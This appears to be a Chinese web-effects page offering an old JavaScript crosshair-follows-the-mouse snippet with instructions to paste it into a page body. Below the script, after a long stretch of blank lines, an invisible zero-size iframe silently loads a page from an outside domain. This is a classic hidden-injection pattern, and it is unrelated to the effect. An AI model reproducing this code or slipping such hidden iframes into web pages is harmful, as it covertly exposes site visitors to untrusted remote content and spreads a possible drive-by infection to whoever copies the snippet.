4、跟随鼠标的十字架

4、跟随鼠标的十字架

<!--将以下代码加入HTML<Body></Body>之间-->

<style>

<!--#leftright, #topdown{position:absolute;

left:0;top:0;width:1px;height:1px;layer-background-color:blue;

background-color:blue;z-index:100;font-size:1px;}-->

</style>

<style>

<!--#leftright, #topdown{position:absolute;left:0;

top:0;width:1px;height:1px;layer-background-color:blue;

background-color:blue;z-index:100;font-size:1px;}-->

</style>

<div id="leftright" style="width:expression(document.body.clientWidth-2)"></div><div

id="topdown" style="height:expression(document.body.clientHeight-2)"></div><script

language="JavaScript1.2">

<!--

if (document.all&&!window.print){

leftright.style.width=document.body.clientWidth-2

topdown.style.height=document.body.clientHeight-2

}

else if (document.layers){

document.leftright.clip.width=window.innerWidth

document.leftright.clip.height=1

document.topdown.clip.width=1

document.topdown.clip.height=window.innerHeight

}

function followmouse1(){

//move cross engine for IE 4+

leftright.style.pixelTop=document.body.scrollTop+event.clientY+1

topdown.style.pixelTop=document.body.scrollTop

if (event.clientX<document.body.clientWidth-2)

topdown.style.pixelLeft=document.body.scrollLeft+event.clientX+1

else

topdown.style.pixelLeft=document.body.clientWidth-2

}

function followmouse2(e){

//move cross engine for NS 4+

document.leftright.top=e.y+1

document.topdown.top=pageYOffset

document.topdown.left=e.x+1

}

if (document.all)

document.onmousemove=followmouse1

else if (document.layers){

window.captureEvents(Event.MOUSEMOVE)

window.onmousemove=followmouse2

}

function regenerate(){

window.location.reload()

}

function regenerate2(){

setTimeout("window.onresize=regenerate",400)

}

if ((document.all&&!window.print)||document.layers)

//if the user is using IE 4 or NS 4, both NOT IE 5+

window.onload=regenerate2

//-->

</script>

 

 

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

</body>

 

</html>

 

Write a comment

Comments: 0